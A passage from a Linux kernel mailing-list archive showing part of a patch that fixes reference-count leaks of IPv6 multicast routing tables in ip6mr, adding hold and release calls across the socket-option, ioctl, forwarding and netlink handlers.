 		if (optlen < sizeof(mfc))
-			return -EINVAL;
+			goto out_put_table_einval;
 		if (copy_from_sockptr(&mfc, optval, sizeof(mfc)))
-			return -EFAULT;
+			goto out_put_table_efault;
 		if (parent == 0)
 			parent = mfc.mf6cc_parent;
 
@@ -1793,6 +1893,7 @@ int ip6_mroute_setsockopt(struct sock *sk, int optname, sockptr_t optval,
 					    parent);
 
 		mutex_unlock(&net->ipv6.mfc_mutex);
+		ip6mr_put_table(mrt);
 		return ret;
 
 	case MRT6_FLUSH:
@@ -1801,14 +1902,15 @@ int ip6_mroute_setsockopt(struct sock *sk, int optname, sockptr_t optval,
 		int flags;
 
 		if (optlen != sizeof(flags))
-			return -EINVAL;
+			goto out_put_table_einval;
 		if (copy_from_sockptr(&flags, optval, sizeof(flags)))
-			return -EFAULT;
+			goto out_put_table_efault;
 
 		rtnl_lock();
 		mroute_clean_tables(mrt, flags, &dev_kill_list);
 		unregister_netdevice_many(&dev_kill_list);
 		rtnl_unlock();
+		ip6mr_put_table(mrt);
 		return 0;
 	}
 
@@ -1820,10 +1922,11 @@ int ip6_mroute_setsockopt(struct sock *sk, int optname, sockptr_t optval,
 		int v;
 
 		if (optlen != sizeof(v))
-			return -EINVAL;
+			goto out_put_table_einval;
 		if (copy_from_sockptr(&v, optval, sizeof(v)))
-			return -EFAULT;
+			goto out_put_table_efault;
 		WRITE_ONCE(mrt->mroute_do_assert, v);
+		ip6mr_put_table(mrt);
 		return 0;
 	}
 
@@ -1834,9 +1937,9 @@ int ip6_mroute_setsockopt(struct sock *sk, int optname, sockptr_t optval,
 		int v;
 
 		if (optlen != sizeof(v))
-			return -EINVAL;
+			goto out_put_table_einval;
 		if (copy_from_sockptr(&v, optval, sizeof(v)))
-			return -EFAULT;
+			goto out_put_table_efault;
 
 		do_wrmifwhole = (v == MRT6MSG_WRMIFWHOLE);
 		v = !!v;
@@ -1848,6 +1951,7 @@ int ip6_mroute_setsockopt(struct sock *sk, int optname, sockptr_t optval,
 			WRITE_ONCE(mrt->mroute_do_wrvifwhole, do_wrmifwhole);
 		}
 		rtnl_unlock();
+		ip6mr_put_table(mrt);
 		return ret;
 	}
 
@@ -1864,18 +1968,22 @@ int ip6_mroute_setsockopt(struct sock *sk, int optname, sockptr_t optval,
 		/* "pim6reg%u" should not exceed 16 bytes (IFNAMSIZ) */
 		if (v != RT_TABLE_DEFAULT && v >= 100000000)
 			return -EINVAL;
-		if (sk == rcu_access_pointer(mrt->mroute_sk))
+
+		mrt = ip6mr_get_table_hold(net, table);
+		if (mrt && sk == rcu_access_pointer(mrt->mroute_sk)) {
+			ip6mr_put_table(mrt);
 			return -EBUSY;
+		}
+		if (!ns_capable(net->user_ns, CAP_NET_ADMIN)) {
+			if (mrt)
+				ip6mr_put_table(mrt);
+			return -EACCES;
+		}
+		if (mrt)
+			ip6mr_put_table(mrt);
 
-		rtnl_lock();
-		ret = 0;
-		mrt = ip6mr_new_table(net, v);
-		if (IS_ERR(mrt))
-			ret = PTR_ERR(mrt);
-		else
-			raw6_sk(sk)->ip6mr_table = v;
-		rtnl_unlock();
-		return ret;
+		raw6_sk(sk)->ip6mr_table = v;
+		return 0;
 	}
 #endif
 	/*
@@ -1883,8 +1991,25 @@ int ip6_mroute_setsockopt(struct sock *sk, int optname, sockptr_t optval,
 	 *	set.
 	 */
 	default:
+		if (mrt)
+			ip6mr_put_table(mrt);
 		return -ENOPROTOOPT;
 	}
+
+out_put_table_efault:
+	if (mrt)
+		ip6mr_put_table(mrt);
+	return -EFAULT;
+
+out_put_table_einval:
+	if (mrt)
+		ip6mr_put_table(mrt);
+	return -EINVAL;
+
+out_put_table_enfile:
+	if (mrt)
+		ip6mr_put_table(mrt);
+	return -ENFILE;
 }
 
 /*
@@ -1895,6 +2020,7 @@ int ip6_mroute_getsockopt(struct sock *sk, int optname, sockptr_t optval,
 			  sockptr_t optlen)
 {
 	int olr;
+	int ret = 0;
 	int val;
 	struct net *net = sock_net(sk);
 	struct mr_table *mrt;
@@ -1903,7 +2029,7 @@ int ip6_mroute_getsockopt(struct sock *sk, int optname, sockptr_t optval,
 	    inet_sk(sk)->inet_num != IPPROTO_ICMPV6)
 		return -EOPNOTSUPP;
 
-	mrt = ip6mr_get_table(net, raw6_sk(sk)->ip6mr_table ? : RT6_TABLE_DFLT);
+	mrt = ip6mr_get_table_hold(net, raw6_sk(sk)->ip6mr_table ? : RT6_TABLE_DFLT);
 	if (!mrt)
 		return -ENOENT;
 
@@ -1920,26 +2046,33 @@ int ip6_mroute_getsockopt(struct sock *sk, int optname, sockptr_t optval,
 		val = READ_ONCE(mrt->mroute_do_assert);
 		break;
 	default:
-		return -ENOPROTOOPT;
+		ret = -ENOPROTOOPT;
+		goto out;
 	}
 
-	if (copy_from_sockptr(&olr, optlen, sizeof(int)))
-		return -EFAULT;
+	if (copy_from_sockptr(&olr, optlen, sizeof(int))) {
+		ret = -EFAULT;
+		goto out;
+	}
 
 	olr = min_t(int, olr, sizeof(int));
-	if (olr < 0)
-		return -EINVAL;
+	if (olr < 0) {
+		ret = -EINVAL;
+		goto out;
+	}
 
-	if (copy_to_sockptr(optlen, &olr, sizeof(int)))
-		return -EFAULT;
-	if (copy_to_sockptr(optval, &val, olr))
-		return -EFAULT;
-	return 0;
+	if (copy_to_sockptr(optlen, &olr, sizeof(int)) ||
+	    copy_to_sockptr(optval, &val, olr))
+		ret = -EFAULT;
+out:
+	ip6mr_put_table(mrt);
+	return ret;
 }
 
 /*
  *	The IP multicast ioctl support routines.
  */
+
 int ip6mr_ioctl(struct sock *sk, int cmd, void *arg)
 {
 	struct sioc_sg_req6 *sr;
@@ -1949,7 +2082,7 @@ int ip6mr_ioctl(struct sock *sk, int cmd, void *arg)
 	struct net *net = sock_net(sk);
 	struct mr_table *mrt;
 
-	mrt = ip6mr_get_table(net, raw6_sk(sk)->ip6mr_table ? : RT6_TABLE_DFLT);
+	mrt = ip6mr_get_table_hold(net, raw6_sk(sk)->ip6mr_table ? : RT6_TABLE_DFLT);
 	if (!mrt)
 		return -ENOENT;
 
@@ -1957,7 +2090,7 @@ int ip6mr_ioctl(struct sock *sk, int cmd, void *arg)
 	case SIOCGETMIFCNT_IN6:
 		vr = (struct sioc_mif_req6 *)arg;
 		if (vr->mifi >= mrt->maxvif)
-			return -EINVAL;
+			goto out_put_table_einval;
 		vr->mifi = array_index_nospec(vr->mifi, mrt->maxvif);
 		rcu_read_lock();
 		vif = &mrt->vif_table[vr->mifi];
@@ -1967,9 +2100,11 @@ int ip6mr_ioctl(struct sock *sk, int cmd, void *arg)
 			vr->ibytes = READ_ONCE(vif->bytes_in);
 			vr->obytes = READ_ONCE(vif->bytes_out);
 			rcu_read_unlock();
+			ip6mr_put_table(mrt);
 			return 0;
 		}
 		rcu_read_unlock();
+		ip6mr_put_table(mrt);
 		return -EADDRNOTAVAIL;
 	case SIOCGETSGCNT_IN6:
 		sr = (struct sioc_sg_req6 *)arg;
@@ -1982,15 +2117,21 @@ int ip6mr_ioctl(struct sock *sk, int cmd, void *arg)
 			sr->bytecnt = atomic_long_read(&c->_c.mfc_un.res.bytes);
 			sr->wrong_if = atomic_long_read(&c->_c.mfc_un.res.wrong_if);
 			rcu_read_unlock();
+			ip6mr_put_table(mrt);
 			return 0;
 		}
 		rcu_read_unlock();
+		ip6mr_put_table(mrt);
 		return -EADDRNOTAVAIL;
 	default:
+		ip6mr_put_table(mrt);
 		return -ENOIOCTLCMD;
 	}
-}
 
+out_put_table_einval:
+	ip6mr_put_table(mrt);
+	return -EINVAL;
+}
 #ifdef CONFIG_COMPAT
 struct compat_sioc_sg_req6 {
 	struct sockaddr_in6 src;
@@ -2017,16 +2158,16 @@ int ip6mr_compat_ioctl(struct sock *sk, unsigned int cmd, void __user *arg)
 	struct net *net = sock_net(sk);
 	struct mr_table *mrt;
 
-	mrt = ip6mr_get_table(net, raw6_sk(sk)->ip6mr_table ? : RT6_TABLE_DFLT);
+	mrt = ip6mr_get_table_hold(net, raw6_sk(sk)->ip6mr_table ? : RT6_TABLE_DFLT);
 	if (!mrt)
 		return -ENOENT;
 
 	switch (cmd) {
 	case SIOCGETMIFCNT_IN6:
 		if (copy_from_user(&vr, arg, sizeof(vr)))
-			return -EFAULT;
+			goto out_put_table_efault;
 		if (vr.mifi >= mrt->maxvif)
-			return -EINVAL;
+			goto out_put_table_einval;
 		vr.mifi = array_index_nospec(vr.mifi, mrt->maxvif);
 		rcu_read_lock();
 		vif = &mrt->vif_table[vr.mifi];
@@ -2038,14 +2179,16 @@ int ip6mr_compat_ioctl(struct sock *sk, unsigned int cmd, void __user *arg)
 			rcu_read_unlock();
 
 			if (copy_to_user(arg, &vr, sizeof(vr)))
-				return -EFAULT;
+				goto out_put_table_efault;
+			ip6mr_put_table(mrt);
 			return 0;
 		}
 		rcu_read_unlock();
+		ip6mr_put_table(mrt);
 		return -EADDRNOTAVAIL;
 	case SIOCGETSGCNT_IN6:
 		if (copy_from_user(&sr, arg, sizeof(sr)))
-			return -EFAULT;
+			goto out_put_table_efault;
 
 		rcu_read_lock();
 		c = ip6mr_cache_find(mrt, &sr.src.sin6_addr, &sr.grp.sin6_addr);
@@ -2056,14 +2199,25 @@ int ip6mr_compat_ioctl(struct sock *sk, unsigned int cmd, void __user *arg)
 			rcu_read_unlock();
 
 			if (copy_to_user(arg, &sr, sizeof(sr)))
-				return -EFAULT;
+				goto out_put_table_efault;
+			ip6mr_put_table(mrt);
 			return 0;
 		}
 		rcu_read_unlock();
+		ip6mr_put_table(mrt);
 		return -EADDRNOTAVAIL;
 	default:
+		ip6mr_put_table(mrt);
 		return -ENOIOCTLCMD;
 	}
+
+out_put_table_efault:
+	ip6mr_put_table(mrt);
+	return -EFAULT;
+
+out_put_table_einval:
+	ip6mr_put_table(mrt);
+	return -EINVAL;
 }
 #endif
 
@@ -2392,13 +2546,16 @@ int ip6_mr_input(struct sk_buff *skb)
 		if (vif >= 0) {
 			int err = ip6mr_cache_unresolved(mrt, vif, skb, dev);
 
+			ip6mr_put_table(mrt);
 			return err;
 		}
+		ip6mr_put_table(mrt);
 		kfree_skb(skb);
 		return -ENODEV;
 	}
 
 	ip6_mr_forward(net, mrt, dev, skb, cache);
+	ip6mr_put_table(mrt);
 
 	return 0;
 }
@@ -2441,19 +2598,25 @@ int ip6_mr_output(struct net *net, struct sock *sk, struct sk_buff *skb)
 	/* No usable cache entry */
 	if (!cache) {
 		vif = ip6mr_find_vif(mrt, dev);
-		if (vif >= 0)
-			return ip6mr_cache_unresolved(mrt, vif, skb, dev);
-		goto ip6_output;
+		if (vif >= 0) {
+			err = ip6mr_cache_unresolved(mrt, vif, skb, dev);
+			ip6mr_put_table(mrt);
+			return err;
+		}
+		goto out_put;
 	}
 
 	/* Wrong interface */
 	vif = cache->_c.mfc_parent;
 	if (rcu_access_pointer(mrt->vif_table[vif].dev) != dev)
-		goto ip6_output;
+		goto out_put;
 
 	ip6_mr_output_finish(net, mrt, dev, skb, cache);
+	ip6mr_put_table(mrt);
 	return 0;
 
+out_put:
+	ip6mr_put_table(mrt);
 ip6_output:
 	return ip6_output(net, sk, skb);
 }
@@ -2755,33 +2918,35 @@ static int ip6mr_rtm_getroute(struct sk_buff *in_skb, struct nlmsghdr *nlh,
 		grp = nla_get_in6_addr(tb[RTA_DST]);
 	tableid = nla_get_u32_default(tb[RTA_TABLE], 0);
 
-	rcu_read_lock();
-
-	mrt = __ip6mr_get_table(net, tableid ?: RT_TABLE_DEFAULT);
+	mrt = ip6mr_get_table_hold(net, tableid ?: RT_TABLE_DEFAULT);
 	if (!mrt) {
 		NL_SET_ERR_MSG_MOD(extack, "MR table does not exist");
 		err = -ENOENT;
-		goto err;
+		goto err_free;
 	}
 
+	rcu_read_lock();
 	cache = ip6mr_cache_find(mrt, &src, &grp);
 	if (!cache) {
+		rcu_read_unlock();
 		NL_SET_ERR_MSG_MOD(extack, "MR cache entry not found");
 		err = -ENOENT;
-		goto err;
+		goto err_put;
 	}
 
 	err = ip6mr_fill_mroute(mrt, skb, NETLINK_CB(in_skb).portid,
 				nlh->nlmsg_seq, cache, RTM_NEWROUTE, 0);
-	if (err < 0)
-		goto err;
-
 	rcu_read_unlock();
+	if (err < 0)
+		goto err_put;
 
-	return rtnl_unicast(skb, net, NETLINK_CB(in_skb).portid);
+	err = rtnl_unicast(skb, net, NETLINK_CB(in_skb).portid);
+	ip6mr_put_table(mrt);
+	return err;
 
-err:
-	rcu_read_unlock();
+err_put:
+	ip6mr_put_table(mrt);
+err_free:
 	kfree_skb(skb);
 	return err;
 }
@@ -2804,7 +2969,7 @@ static int ip6mr_rtm_dumproute(struct sk_buff *skb, struct netlink_callback *cb)
 	if (filter.table_id) {
 		struct mr_table *mrt;
 
-		mrt = __ip6mr_get_table(sock_net(skb->sk), filter.table_id);
+		mrt = ip6mr_get_table_hold(sock_net(skb->sk), filter.table_id);
 		if (!mrt) {
 			if (rtnl_msg_family(cb->nlh) != RTNL_FAMILY_IP6MR) {
 				err = skb->len;
@@ -2818,6 +2983,7 @@ static int ip6mr_rtm_dumproute(struct sk_buff *skb, struct netlink_callback *cb)
 
 		err = mr_table_dump(mrt, skb, cb, _ip6mr_fill_mroute,
 				    &mfc_unres_lock, &filter);
+		ip6mr_put_table(mrt);
 		err = skb->len ? : err;
 		goto unlock;
 	}
-- 
2.43.0

^ permalink raw reply related	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-07-23 17:38 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-23 17:38 [PATCH net 0/1] ipv6: ip6mr: fix mr_table lifetime leak Ren Wei
2026-07-23 17:38 ` [PATCH net 1/1] " Ren Wei

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox